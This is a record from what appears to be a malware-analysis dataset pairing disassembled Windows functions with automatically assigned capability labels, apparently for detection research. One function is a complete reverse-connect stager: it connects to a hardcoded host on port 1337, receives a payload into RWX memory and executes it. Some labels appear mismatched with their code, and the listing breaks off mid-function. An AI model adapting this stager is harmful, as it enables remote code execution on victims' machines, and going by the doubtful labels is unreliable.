joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14014c1bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14014c208
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14014c200
cmp dword [rcx + 0x3c], edx
jl 0x14014c200
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14014c200
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14014c208
mov rax, rdx
add rsp, 0x18
ret

Function at 0x14014c468
Capabilities:
Print debug messages

Disassembly:
jmp 0x14014c474
push rbx
sub rsp, 0x540
mov rax, qword [0x14017b608]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x14014c4f1
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x14014c511
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.14014bb60
add rsp, 0x540
pop rbx
ret

Function at 0x14014c474
Capabilities:
Print debug messages

Disassembly:
jmp 0x14014c474
push rbx
sub rsp, 0x540
mov rax, qword [0x14017b608]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x14014c4f1
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x14014c511
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.14014bb60
add rsp, 0x540
pop rbx
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Connect socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Terminate process

Disassembly:
sub rsp, 0x1f8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jns 0x14000103f
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x200], rbx
mov ecx, 0x539
mov qword [rsp + 0x208], rbp
mov qword [rsp + 0x210], rsi
mov qword [rsp + 0x218], rdi
mov qword [rsp + 0x1f0], r14
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edi, 2
xor r8d, r8d
mov ecx, edi
mov edx, 1
mov ebx, eax
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.192.168.10.227
mov rbp, rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
lea rcx, [rsp + 0x2c]
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call sub.VCRUNTIME140.dll_memcpy
movzx ecx, bx
mov word [rsp + 0x28], di
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x28]
mov rcx, rbp
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_connect]
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov r8d, 4
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
add edx, 5
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ebx, ebx
mov r14, rax
mov byte [rax], 0xbf
lea rdi, [rax + 5]
mov dword [rax + 1], ebp
mov esi, dword [rsp + 0x20]
test esi, esi
jle 0x140001141
nop
mov r8d, esi
xor r9d, r9d
sub r8d, ebx
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
add ebx, eax
add rdi, rcx
cmp ebx, esi
jl 0x140001120
call r14
mov r14, qword [rsp + 0x1f0]
xor eax, eax
mov rdi, qword [rsp + 0x218]
mov rsi, qword [rsp + 0x210]
mov rbp, qword [rsp + 0x208]
mov rbx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.1400011a0
add rsp, 0x1f8
ret

Function at 0x140001a68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ab2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ab2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ab2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ab2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ab2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ab4
xor al, al
add rsp, 0x28
ret
Function at 0x14074e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14074e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14074e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14074e06f
add dl, dl
jne 0x14074e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14074e0f6
xor eax, eax
add dl, dl
jne 0x14074e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14074e1ad
add dl, dl
jne 0x14074e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14074e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14074e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14074e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14074e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14074e07e
mov eax, 1
add dl, dl
jne 0x14074e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14074e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14074e0fb
sub eax, ebx
mov ebx, 1
jne 0x14074e14c
mov ecx, 1
add dl, dl
jne 0x14074e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14074e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14074e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14074e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14074e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14074e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14074e15d
cmp eax, 0x7d00
jae 0x14074e19b
cmp eax, 0x500
jb 0x14074e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14074e07e
cmp eax, 0x7f
ja 0x14074e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14074e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14074e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14074e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x417900
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x417aa6
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00437200
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x41796b
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x417987
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
call fcn.00451600
mov rbx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
sub rbx, rcx
test rbx, rbx
jbe 0x4179ab
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x4179bf
cmp rbx, 0x1000
jae 0x417975
jmp 0x417a29
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x4179d1
xor edx, edx
jmp 0x417a20
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00437200
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x4179b5
jmp 0x4179a0
call fcn.00467980
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.0043b900
lea rax, [0x004b26aa]
mov ebx, 0x18
call fcn.0043c200
mov rax, qword [rsp + 0x38]
call fcn.0043bf00
lea rax, [0x004b276a]
mov ebx, 0x19
call fcn.0043c200
mov rax, qword [rsp + 0x30]
nop
call fcn.0043bf00
call fcn.0043bb60
call fcn.0043b980
lea rax, [0x004b49ab]
mov ebx, 0x21
nop dword [rax + rax]
call fcn.0043a0e0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00417900
Function at 0x417ae0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x417d0a
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004372a0
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x417b59
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x417b80
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
mov rax, rcx
call fcn.00451600
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
sub rbx, rcx
mov rcx, rax
mov rax, qword [rsp + 0x68]
test rbx, rbx
jbe 0x417ba5
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x417bb9
cmp rbx, 0x1000
jae 0x417b63
nop dword [rax]
jmp 0x417c34
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x417bcd
xor esi, esi
jmp 0x417c2a
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004372a0
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x417baf
jmp 0x417b94
call fcn.00467980
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x417cac
call fcn.0043b900
lea rax, [0x004b2b39]
mov ebx, 0x19
call fcn.0043c200
mov rax, qword [rsp + 0x68]
call fcn.0043bf00
lea rax, [0x004b276a]
mov ebx, 0x19
call fcn.0043c200
mov eax, dword [rsp + 0x34]
call fcn.0043bf00
call fcn.0043bb60
call fcn.0043b980
lea rax, [0x004af75c]
mov ebx, 0xd
call fcn.0043a0e0
cmp eax, 0x5af
je 0x417c57
call fcn.0043b900
lea rax, [0x004b2b39]
mov ebx, 0x19
call fcn.0043c200
mov rax, qword [rsp + 0x38]
call fcn.0043bf00
lea rax, [0x004b276a]
mov ebx, 0x19
nop
call fcn.0043c200
mov eax, dword [rsp + 0x34]
call fcn.0043bf00
call fcn.0043bb60
call fcn.0043b980
lea rax, [0x004b42bf]
mov ebx, 0x1f
call fcn.0043a0e0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00417ae0
Function at 0x422f60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x42305e
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x422fa0
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x42304f
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.00423ac0
nop dword [rax]
test rax, rax
je 0x42304f
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x004230a0]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.00463ca0
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x42303d
xor eax, eax
jmp 0x423047
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x422f92
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.00422f60

Function at 0x45c020
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45c0d9
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rdx, [0x0045c120]
mov qword [rsp + 0x10], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x28], rdx
mov rdx, r14
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00463ca0
xorps xmm15, xmm15
mov r14, qword [0x0058c3c0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.0045c020
Function at 0x465e80
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x402f6f
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00409a00
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x402f40
cmp byte [0x0058c1ef], 0
je 0x465e95
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x462ee0
jmp 0x402f40

Function at 0x465ea0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x409e6f
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
call fcn.00409f60
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
mov rbx, qword [rsp + 0x28]
xor rbx, rax
xor rbx, qword [0x0058c4a0]
movabs rdx, 0xa0761d6478bd642f
xor rbx, rdx
mov rax, rcx
call fcn.00409f40
mov rbx, rax
movabs rax, 0x1d8e4e27c47d124b
nop dword [rax]
call fcn.00409f40
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x409e00
cmp byte [0x0058c1ef], 0
je 0x465ed5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x0058c7e0]
aesenc xmm0, xmmword [0x0058c7f0]
aesenc xmm0, xmmword [0x0058c800]
movq rax, xmm0
ret
jmp 0x409e00

Function at 0x465ee0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x409f0f
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
call fcn.00409fa0
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
mov rbx, qword [rsp + 0x28]
xor rbx, rax
xor rbx, qword [0x0058c4a0]
movabs rdx, 0xa0761d6478bd642f
xor rbx, rdx
mov rax, rcx
call fcn.00409f40
mov rbx, rax
movabs rax, 0x1d8e4e27c47d1247
nop dword [rax]
call fcn.00409f40
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x409ea0
cmp byte [0x0058c1ef], 0
je 0x465f16
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x0058c7e0]
aesenc xmm0, xmmword [0x0058c7f0]
aesenc xmm0, xmmword [0x0058c800]
movq rax, xmm0
ret
jmp 0x409ea0

Function at 0x467900
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x0058c760]
mov qword [rsp + 8], rdx
lea r8d, [0x0058c204]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.00465dc0
add rsp, 0x30
ret
Function at 0x467e40
Capabilities:
Allocate thread local storage

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x467e6c
call fcn.00465dc0
shl rcx, 3
add rcx, 0x1480
mov qword [0x0058c3c0], rcx
ret
Function at 0x48b7e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x48ba34
sub rsp, 0x68
mov qword [rsp + 0x60], rbp
lea rbp, [rsp + 0x60]
mov qword [rsp + 0x70], rax
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
xor r8d, r8d
jmp 0x48b823
dec rbx
mov r10, rbx
neg rbx
sar rbx, 0x3f
and ebx, 1
add rax, rbx
mov rbx, r10
mov rcx, r9
test rbx, rbx
je 0x48ba08
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x46], r8b
movzx r9d, byte [rax]
mov byte [rsp + 0x47], r9b
cmp r9b, 0x20
jbe 0x48b950
cmp r9b, 0x22
je 0x48b867
cmp r9b, 0x5c
jne 0x48b965
lea r9, [rcx + 1]
jmp 0x48b9c0
mov qword [rsp + 0x48], rcx
mov r8, rcx
shr rcx, 0x3f
lea r9, [r8 + rcx]
sar r9, 1
mov rax, rdi
mov rbx, rsi
mov rcx, rdx
mov rdi, r9
call fcn.0048b740
mov rdx, qword [rsp + 0x48]
bt edx, 0
jb 0x48b907
movzx edx, byte [rsp + 0x46]
test dl, dl
je 0x48b8f8
mov r8, qword [rsp + 0x50]
cmp r8, 1
jle 0x48b8f1
mov r9, qword [rsp + 0x58]
cmp byte [r9 + 1], 0x22
jne 0x48b8ec
inc rbx
cmp rcx, rbx
jae 0x48b8de
mov edi, 1
lea rsi, [0x0049b480]
call fcn.0044c7c0
movzx edx, byte [rsp + 0x46]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x58]
mov byte [rbx + rax - 1], 0x22
lea rsi, [r9 + 1]
dec r8
jmp 0x48b902
mov rsi, r9
jmp 0x48b902
mov rsi, qword [rsp + 0x58]
jmp 0x48b902
mov r8, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
xor edx, 1
jmp 0x48b939
inc rbx
cmp rcx, rbx
jae 0x48b925
mov edi, 1
lea rsi, [0x0049b480]
nop dword [rax + rax]
call fcn.0044c7c0
mov byte [rbx + rax - 1], 0x22
mov r8, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
movzx edx, byte [rsp + 0x46]
xor r9d, r9d
mov rdi, rax
mov rax, rsi
mov rsi, rbx
mov rbx, r8
mov r8d, edx
mov rdx, rcx
jmp 0x48b9c0
cmp r9b, 9
je 0x48b960
cmp r9b, 0x20
jne 0x48b965
nop dword [rax]
test r8b, r8b
je 0x48b9cc
mov rax, rdi
mov rbx, rsi
mov rdi, rcx
mov rcx, rdx
call fcn.0048b740
inc rbx
cmp rcx, rbx
jae 0x48b98f
mov edi, 1
lea rsi, [0x0049b480]
call fcn.0044c7c0
movzx r10d, byte [rsp + 0x47]
mov byte [rbx + rax - 1], r10b
mov rsi, rbx
mov rdx, rcx
xor r9d, r9d
mov rdi, rax
movzx r8d, byte [rsp + 0x46]
mov rbx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
nop word [rax + rax]
nop
cmp rbx, 1
jae 0x48b80a
jmp 0x48ba27
mov rax, rdi
mov rbx, rsi
mov rdi, rcx
mov rcx, rdx
call fcn.0048b740
mov rsi, qword [rsp + 0x50]
dec rsi
mov rdx, rsi
neg rsi
sar rsi, 0x3f
and esi, 1
mov r8, qword [rsp + 0x58]
lea rdi, [rsi + r8]
mov rsi, rdx
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov rax, rdi
mov rbx, rsi
mov rdi, rcx
mov rcx, rdx
call fcn.0048b740
xor edi, edi
xor esi, esi
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov eax, 1
xor ecx, ecx
call fcn.00466500
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
nop
call fcn.00463de0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0048b7e0
Function at 0x14060b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14060b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14060b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060b06f
add dl, dl
jne 0x14060b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060b0f6
xor eax, eax
add dl, dl
jne 0x14060b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060b1ad
add dl, dl
jne 0x14060b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14060b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14060b07e
mov eax, 1
add dl, dl
jne 0x14060b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060b0fb
sub eax, ebx
mov ebx, 1
jne 0x14060b14c
mov ecx, 1
add dl, dl
jne 0x14060b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14060b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060b15d
cmp eax, 0x7d00
jae 0x14060b19b
cmp eax, 0x500
jb 0x14060b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060b07e
cmp eax, 0x7f
ja 0x14060b19e
add ecx, 2
push rsi
mov rsi, rdi
